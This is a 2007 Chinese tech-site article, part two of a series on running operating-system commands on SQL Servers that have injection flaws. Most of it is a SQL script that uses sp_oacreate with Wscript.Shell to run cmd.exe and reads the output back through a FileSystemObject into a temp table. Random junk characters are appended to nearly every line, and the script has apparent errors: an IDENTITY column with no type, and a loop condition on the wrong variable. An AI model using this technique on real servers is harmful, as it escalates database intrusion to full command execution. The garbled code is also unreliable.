科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道在有注入漏洞的SQL服务器上运行CMD命令(2)

在有注入漏洞的SQL服务器上运行CMD命令(2)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句.

作者:赛迪网技术社区 来源:赛迪网技术社区 2007年9月1日

关键字: SQL Server SQL Server 各版本 CMD 数据库

  • 评论
  • 分享微博
  • 分享邮件
思路: /@mjP#O{g  
先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。 >q}Zm`Pi  
4s`R $  
以下是相应的SQL语句 BKk< 88P  
+EGd^ '`c  
:^J \f7  
CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL) #i+7Yluw!  
DECLARE @shell INT =#XMQBc.gp  
DECLARE @fso INT 7'LCZ=|*  
DECLARE @file INT peP*Y~6  
DECLARE @isEnd BIT 8P]&$^0~ `  
DECLARE @out VARCHAR(400) 9V`j%hUJ  
EXEC sp_oacreate 'wscript.shell',@shell output lbAfBG`)  
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:\>c:\temp.txt','0','true' :VBbSW_  
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。 dO^ ]5Y |  
}HZj[Y5DH?  
EXEC sp_oacreate 'scripting.filesystemobject',@fso output F5yhCP#u  
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:\temp.txt' znIM\j;Cn  
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌 xr|q Ba  
)AvYy,Hr  
WHILE @shell>0 iW^P9EzI  
BEGIN 9;5r`@W(  
EXEC sp_oamethod @file,'Readline',@out out XS;)AG_1  
INSERT INTO MYTMP(info) VALUES (@out) >2;o=F.9  
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out }S, i`2ZF  
IF @isEnd=1 BREAK 'H.@3=I C  
ELSE CONTINUE 9`a.i5kNH  
END xt/V.5s+  
E[j|@^vv  
DROP TABLE MYTMP
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章